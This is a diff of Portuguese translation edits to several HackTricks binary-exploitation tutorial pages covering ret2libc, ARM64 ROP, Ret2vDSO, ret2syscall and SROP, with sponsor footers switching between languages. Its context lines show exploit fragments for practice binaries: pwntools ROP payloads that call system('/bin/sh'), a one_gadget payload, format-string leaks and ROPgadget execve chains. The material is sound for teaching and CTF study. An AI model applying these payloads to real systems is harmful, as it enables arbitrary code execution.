|
|
||||||
|
@ -64,7 +64,7 @@ Usando rooper, um gadget interessante foi encontrado:
|
||||||
```
|
```
|
||||||
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
||||||
```
|
```
|
||||||
Este gadget carregará `x0` de **`$sp + 0x18`** e então carregará os endereços x29 e x30 de sp e pulará para x30. Assim, com este gadget, podemos **controlar o primeiro argumento e então pular para system**.
|
Este gadget carregará `x0` de **`$sp + 0x18`** e então carregará os endereços x29 e x30 de sp e saltará para x30. Assim, com este gadget, podemos **controlar o primeiro argumento e então saltar para system**.
|
||||||
|
|
||||||
### Exploit
|
### Exploit
|
||||||
```python
|
```python
|
||||||
|
@ -126,7 +126,7 @@ Compile **sem canário**:
|
||||||
```bash
|
```bash
|
||||||
clang -o rop rop.c -fno-stack-protector -Wno-format-security
|
clang -o rop rop.c -fno-stack-protector -Wno-format-security
|
||||||
```
|
```
|
||||||
### PIE e ASLR, mas sem canário
|
### PIE e ASLR mas sem canário
|
||||||
|
|
||||||
* Rodada 1:
|
* Rodada 1:
|
||||||
* Vazamento de PIE da pilha
|
* Vazamento de PIE da pilha
|
||||||
|
@ -141,7 +141,7 @@ Definindo um ponto de interrupção antes de chamar printf, é possível ver que
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Tentando diferentes offsets, o **`%21$p`** pode vazar um endereço binário (bypass de PIE) e **`%25$p`** pode vazar um endereço da libc:
|
Tentando diferentes offsets, o **`%21$p`** pode vazar um endereço binário (bypass de PIE) e o **`%25$p`** pode vazar um endereço da libc:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -217,7 +217,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Supporte o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -18,8 +18,8 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
## Resumo Rápido
|
## Resumo Rápido
|
||||||
|
|
||||||
1. **Encontre** o **offset** de overflow
|
1. **Encontre** o **offset** de overflow
|
||||||
2. **Encontre** o gadget `POP_RDI`, `PUTS_PLT` e gadgets `MAIN`
|
2. **Encontre** o gadget `POP_RDI`, gadgets `PUTS_PLT` e `MAIN`
|
||||||
3. Use os gadgets anteriores para **vazar o endereço de memória** de puts ou outra função da libc e **encontrar a versão da libc** ([baixe aqui](https://libc.blukat.me))
|
3. Use os gadgets anteriores para **vazar o endereço de memória** do puts ou de outra função da libc e **encontrar a versão da libc** ([baixe aqui](https://libc.blukat.me))
|
||||||
4. Com a biblioteca, **calcule o ROP e explore-o**
|
4. Com a biblioteca, **calcule o ROP e explore-o**
|
||||||
|
|
||||||
## Outros tutoriais e binários para praticar
|
## Outros tutoriais e binários para praticar
|
||||||
|
@ -45,7 +45,7 @@ return 0;
|
||||||
```bash
|
```bash
|
||||||
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||||
```
|
```
|
||||||
## ROP - Leaking LIBC template
|
## ROP - Vazando o template LIBC
|
||||||
|
|
||||||
Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:
|
Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:
|
||||||
|
|
||||||
|
@ -70,7 +70,7 @@ r.sendline(payload)
|
||||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||||
return
|
return
|
||||||
```
|
```
|
||||||
**Execute** `python template.py` um console GDB será aberto com o programa sendo encerrado. Dentro desse **console GDB** execute `x/wx $rsp` para obter os **bytes** que estavam prestes a sobrescrever o RIP. Finalmente, obtenha o **offset** usando um console **python**:
|
**Execute** `python template.py` um console GDB será aberto com o programa sendo encerrado. Dentro desse **console GDB** execute `x/wx $rsp` para obter os **bytes** que iriam sobrescrever o RIP. Finalmente, obtenha o **offset** usando um console **python**:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
cyclic_find(0x6161616b)
|
cyclic_find(0x6161616b)
|
||||||
|
@ -184,7 +184,7 @@ Getting libc6_2.23-0ubuntu10_amd64
|
||||||
-> Extracting package
|
-> Extracting package
|
||||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||||
```
|
```
|
||||||
Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para nosso diretório de trabalho.
|
Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para o nosso diretório de trabalho.
|
||||||
|
|
||||||
### 3.3- Outras funções para leak
|
### 3.3- Outras funções para leak
|
||||||
```python
|
```python
|
||||||
|
@ -221,7 +221,7 @@ EXIT = libc.sym["exit"]
|
||||||
log.info("bin/sh %s " % hex(BINSH))
|
log.info("bin/sh %s " % hex(BINSH))
|
||||||
log.info("system %s " % hex(SYSTEM))
|
log.info("system %s " % hex(SYSTEM))
|
||||||
```
|
```
|
||||||
Finalmente, o exploit de execução /bin/sh será preparado para ser enviado:
|
Finalmente, a exploração de execução /bin/sh será preparada para ser enviada:
|
||||||
```python
|
```python
|
||||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||||
|
|
||||||
|
@ -242,7 +242,7 @@ Finalmente, o **endereço da função exit** é **chamado** para que o processo
|
||||||
## 4(2)- Usando ONE\_GADGET
|
## 4(2)- Usando ONE\_GADGET
|
||||||
|
|
||||||
Você também pode usar [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE\_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
|
Você também pode usar [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE\_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
|
||||||
No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL` Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
|
No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL` Como você controla os valores dentro do **RSP**, você só precisa enviar alguns valores NULL a mais para que a restrição seja evitada.
|
||||||
|
|
||||||
![](<../../../../.gitbook/assets/image (754).png>)
|
![](<../../../../.gitbook/assets/image (754).png>)
|
||||||
```python
|
```python
|
||||||
|
@ -251,7 +251,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||||
```
|
```
|
||||||
## ARQUIVO DE EXPLOIT
|
## ARQUIVO DE EXPLOIT
|
||||||
|
|
||||||
Você pode encontrar um modelo para explorar essa vulnerabilidade aqui:
|
Você pode encontrar um template para explorar essa vulnerabilidade aqui:
|
||||||
|
|
||||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||||
|
@ -289,11 +289,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Supporte o HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,25 @@
|
||||||
# Ret2vDSO
|
# Ret2vDSO
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Pode haver **gadgets na região vDSO**, que é usada para mudar do modo usuário para o modo kernel. Nestes tipos de desafios, geralmente é fornecida uma imagem do kernel para fazer dump da região vDSO.
|
Pode haver **gadgets na região vDSO**, que é usada para mudar do modo usuário para o modo kernel. Nesse tipo de desafio, geralmente uma imagem do kernel é fornecida para despejar a região vDSO.
|
||||||
|
|
||||||
Seguindo o exemplo de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/), é possível ver como foi possível fazer dump da seção vdso e movê-la para o host com:
|
Seguindo o exemplo de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/), é possível ver como foi possível despejar a seção vdso e movê-la para o host com:
|
||||||
```bash
|
```bash
|
||||||
# Find addresses
|
# Find addresses
|
||||||
cat /proc/76/maps
|
cat /proc/76/maps
|
||||||
|
@ -65,28 +65,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
||||||
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Note, portanto, como pode ser possível **burlar o ASLR abusando do vdso** se o kernel for compilado com CONFIG\_COMPAT\_VDSO, pois o endereço vdso não será randomizado: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
Note portanto como pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG\_COMPAT\_VDSO, pois o endereço do vdso não será randomizado: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### ARM64
|
### ARM64
|
||||||
|
|
||||||
Após despejar e verificar a seção vdso de um binário no kali 2023.2 arm64, não consegui encontrar lá nenhum gadget interessante (nenhuma maneira de controlar registradores a partir de valores na pilha ou controlar x30 para um ret) **exceto uma maneira de chamar um SROP**. Confira mais informações no exemplo da página:
|
Após despejar e verificar a seção vdso de um binário no kali 2023.2 arm64, não consegui encontrar lá nenhum gadget interessante (nenhuma maneira de controlar registradores a partir de valores na pilha ou de controlar x30 para um ret) **exceto uma maneira de chamar um SROP**. Confira mais informações no exemplo da página:
|
||||||
|
|
||||||
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
|
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
|
||||||
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
|
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -59,14 +59,14 @@ Start End Offset Perm Path
|
||||||
```
|
```
|
||||||
### Escrever String na memória
|
### Escrever String na memória
|
||||||
|
|
||||||
Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço.
|
Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço
|
||||||
```python
|
```python
|
||||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||||
```
|
```
|
||||||
### Automatizar cadeia ROP
|
### Automatizar cadeia ROP
|
||||||
|
|
||||||
O seguinte comando cria uma cadeia ROP completa `sys_execve` dado um binário estático quando há gadgets write-what-where e instruções syscall:
|
O seguinte comando cria uma cadeia ROP completa `sys_execve` dada uma binário estático quando há gadgets write-what-where e instruções syscall:
|
||||||
```bash
|
```bash
|
||||||
ROPgadget --binary vuln --ropchain
|
ROPgadget --binary vuln --ropchain
|
||||||
```
|
```
|
||||||
|
@ -193,8 +193,8 @@ target.interactive()
|
||||||
* 64 bits, sem PIE, nx, canário BF, escrever em alguma memória um ROP para chamar `execve` e pular lá.
|
* 64 bits, sem PIE, nx, canário BF, escrever em alguma memória um ROP para chamar `execve` e pular lá.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda & pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda & pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -136,16 +136,16 @@ p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Supporte o HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
**`Sigreturn`** é uma **syscall** especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal com um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
|
**`Sigreturn`** é uma **syscall** especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal usando um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
|
||||||
|
|
||||||
Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
|
Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
|
||||||
|
|
||||||
|
@ -140,13 +140,13 @@ target.interactive()
|
||||||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||||
* Binário em assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
|
* Binário em Assembly que permite **escrever na pilha** e depois chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
|
||||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||||
* Binário em assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
|
* Binário em Assembly que permite **escrever na pilha** e depois chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
|
||||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||||
* 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
|
* 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
|
||||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||||
